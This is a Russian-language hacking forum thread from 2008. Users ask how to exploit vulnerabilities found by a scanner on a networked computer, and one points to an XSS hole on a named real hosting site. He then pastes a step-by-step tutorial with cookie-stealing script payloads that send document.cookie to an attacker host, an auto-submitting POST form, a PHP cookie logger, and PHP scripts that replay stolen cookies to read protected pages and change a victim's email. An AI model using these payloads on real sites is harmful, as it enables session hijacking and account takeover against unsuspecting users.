Что можно сделать?
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Что можно сделать? - 2008-11-24 00:22:20.560000
|
|
|
Denesar
Сообщений: 13
Оценки: 0
Присоединился: 2008-11-22 23:28:50.853333
|
XSpider 7 просканил в сети компьютер, что можно сделать если есть уязвимостей много? И желательно получить ответ как работают кейлогеры. Спасибо за понимание
|
|
|
|
|
RE: Что можно сделать? - 2008-11-24 09:31:14.263333
|
|
|
Malliby
Сообщений: 54
Оценки: 0
Присоединился: 2008-10-28 22:45:02.093333
|
К примеру назови хоть несколько уязвимостей!
|
|
|
|
|
RE: Что можно сделать? - 2008-11-24 10:16:57.936666
|
|
|
Malliby
Сообщений: 54
Оценки: 0
Присоединился: 2008-10-28 22:45:02.093333
|
Нашел уязвимость на сайте pkkonakovo.ru
——————————————–
Возможно выполнение атаки межсайтовый скриптинг. Межсайтовый скриптинг (Cross site scripting или XSS) это возможность вставки HTML кода в уязвимую страницу. Инъекция кода осуществляется через все доступные способы ввода информации. Успешное завершение атаки может привести к использованию значений различных переменных, доступных в контексте сайта, записи информации, перехвату пользовательских сессий и т.д.
Запрос для выполнения атаки:
http://hc.ru/hi-tech/selectHostingRegPeriod.jsp?plan=small&discountType=%22%3E%3Cscript%3Ealert%28%27PTsecurity+Scanner+Test%27%29%3C%2Fscript%3E%3C%22
——————————————–
Перехожу по ссылке: http://hc.ru/hi-tech/selectHostingRegPeriod.jsp?plan=small&discountType=%22%3E%3Cscript%3Ealert%28%27PTsecurity+Scanner+Test%27%29%3C%2Fscript%3E%3C%22
Пишет в строке браузера: http://hc.ru/hi-tech/selectHostingRegPeriod.jsp?plan=small&discountType=%22%3E%3Cscript%3Ealert(%27PTsecurity+Scanner+Test%27)%3C%2Fscript%3E%3C%22
И при этом выдает табличку:
<img src="http://mysity.ucoz.ru/111.JPG" border="0" alt="" />
————————————————————–
Народ помогите не как не могу понять как через такую уязвимость можно пройти!
Читал что можно красть "куки"!
|
|
|
|
|
RE: Что можно сделать? - 2008-11-24 10:29:45.583333
|
|
|
Malliby
Сообщений: 54
Оценки: 0
Присоединился: 2008-10-28 22:45:02.093333
|
Нашел как Атаковать но не могу понять ка??? (((((((((((
Атака После определения уязвимого параметра следует определить подходящий для использования HTTP-метод. Способ, которым пересылаются значения переменных, довольно важен - посылаются ли данные с помощью GET, POST, или сработает любой из них? Некоторые скрипты предпочитают что-то одно, некоторые, использующие готовые методы доступа к переменным (как в случае PH или Perl-Скриптов с CGI.pm) могут работать с любым из методов (1).
Вставка с помощью GET самая простая, но и самая "шумная". Чтобы помешать осторожным пользователям обратить внимание на редиректы и прочий подозрительный код в строке адреса, можно использовать замену каждого символа его шестнадцатиричным значением, которому предшествует символ %. Тем не менее, этот метод засоряет адрес и по умолчанию протоколируется большинством веб-серверов (2).
Простейший способ перехода - вставка кода на javascript с редиректом страницы. Таким образом можно отправить на посторонний сервер значения переменных, доступных только из текущего документа. Более сложные переходы включают другие HTML-теги и объекты (4, 5). Если код вида
document.location.replace('http://attacker/payload');
может быть вставлен и исполнен, то можно считать, что атакующий контролирует исполнение страницы. Модифицировав этот код: document.location.replace
('http://attacker/payload?c='+document.cookie);
мы добиваемся того, что сервер атакующего получает информацию о cookie жертвы. В случае упомянутой выше уязвимой страницы вставка кода является относительно простой: http://host/hello.php?name=<script>document.location.replac
e('http://attacker/payload?c='%2Bdocument.cookie)</script>
По самой природе XSS, атакующий не может непосредственно использовать уязвимый скрипт в личных целях. Встроенный код должна увидеть жертва. Если бы на том же сервере, что и hello.php, была расположена доска объявлений, постинг этой ссылки на нее привел бы множество жертв. После того как жертва открывает ссылку, информация передается на сервер атакующего. Что именно он сможет сделать с данной информацией, мы рассмотрим позже.
Скрипты, уязвимые к POST-вставке, лишь немногим сложнее атаковать. Поскольку POST-переменные передаются независимо от URL скрипта, необходимо использовать промежуточную страницу. Цель промежуточной страницы - заставить клиента отправить POST-запрос, содержащий нужный нам код. В следующем примере создается форма, в которой атакующей сформировал значения переменных, и отправляет от имени пользователя:
<form name=f method=POST action="http://host/hello.php">
<input type=hidden name="name"
value="<script>document.location.replace
('http://attacker/payload?c='+document.cookie)</script>">
</form>
<script>f.submit()</script>
После того как жертва откроет промежуточную страницу, она вынудит броузер отправить POST-запрос к hello.php, с переменной name установленной в
<script>document.location.replace
('http://attacker/payload?c='+document.cookie)</script>
Цель атакующего достигнута, наш код передан уязвимой странице (3).
Вместо вставки кода для перехода, атакующий может решить вставить код, который будет портить уязвимую страницу. Вставкой статичного HTML-кода атакующий может модифицировать отображаемое содержимое страницы. Там может находиться, к примеру код формы для логина, результат работы которой получит атакующий. Этот метод позволяет обойти средства идентификации такие как сертификаты сайтов или ручную проверку адреса клиентом. Если внедренный HTML-код будет позднее отображен на динамической странице (в гостевой книге, на форуме и т.п.), то страница будет выглядеть "взломанной". В общем, встраиваемый код может быть самым разным и полностью зависит от фантазии атакующего.
Использование После обнаружения уязвимой страницы, создания кода перехода, вставки его в уязвимую страницу и исполнения кода перехода броузером жертвы, остается сделать еще один шаг. Страница, на которую перекинуло жертву, должна выполнить некоторые действия. Они могут быть простейшими - например, вывод рекламы или запись данных, - или более сложными, например, перехват пользовательской сессии. Перенаправлением пользователя на другую страницу может, к примеру, решаться простая задача накрутки - перехват посетителей с атакуемой страницы. Чуть более сложной является задача протоколирования критичной информации (cookie) для последуюшего ручного использования. Следующий код записывает IP-адрес посетителя, значение Refereк и значение cookie, переданной через переменную "c":
<?php
$f = fopen("log.txt", "a");
fwrite($f, "IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER
['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n");
fclose($f);
?>
После того как атакующий получил значения cookie, он может извлечь из них полезную информацию, или попытаться перехватить сессию. Предполагая, что серверная сторона считает сессию незавершенной, атакующий может модифицировать свои cookie с целью перехвата сессии. Автоматизировав использование украденных cookie, атакующий значительно увеличивает свои шансы и упрощает атаку. При этом скрипт использует информацию, предоставленную обманутым клиентом, для выполнения своей задачи. В следующем примере скрипт атакующего использует cookie для получения исходного кода защищенной веб-страницы:
<?php
$request = "GET /secret.php HTTP/1.0\r\n";
$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";
$request .= "\r\n";
$s = fsockopen("host", 80, $errno, $errstr, 30);
fputs($s, $request);
$content = '';
while (!feof($s))
{
$content .= fgets($s, 4096);
}
fclose($s);
echo $content;
?>
В этом случае /secret.php передается украденный cookie, после чего результат выводится в броузере. Модифицировав содержимое запроса, можно выполнить практически любую задачу от имени пользователя. Следующий код использует метод POST для смены почтового адреса пользователя без его ведома:
<?php
$request = "POST /profile.php HTTP/1.0\r\n";
$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";
$request .= "\r\n";
$request .= "email=attacker@hotmail.com";
$s = fsockopen("host", 80, $errno, $errstr, 30);
fputs($s, $request);
fclose($s);
echo "<script>document.location.replace
('http://google.com/')</script>";
?>
Данный код выполняет полноценную XSS-атаку. Без стороннего скрипта, управляемого атакующим, атака не раскрыла бы весь свой потенциал.
Заключение Последствия XSS-атак до сих пор остаются недооцененными специалистами по безопасности и разработчиками. Большинство обсуждающих их документов обычно рассматривают лишь фрагменты полной атаки.
XSS-атаки начинаются с идентификации некорректно обработанного пользовательского ввода. После определения подходящей переменной, становится возможным внедрение кода. При внедрении кода, он может воспользоваться значениями переменных, доступных только в контексте данного сайта. В дальнейшем поток управления передаются для совершения определенных действий странице, которяа управляется атакующим. Действия могут быть простыми, как простая запись информации, или сложными, как перехват пользовательской сессии. При успешном выполнении всех этих этапов можно говорить о завершении полноценной XSS-атаки.
|
|
|
|
|
|
![<img src="http://mysity.ucoz.ru/111.JPG" border="0" alt="" />](<img src="http://mysity.ucoz.ru/111.JPG" border="0" alt="" />){kind=link}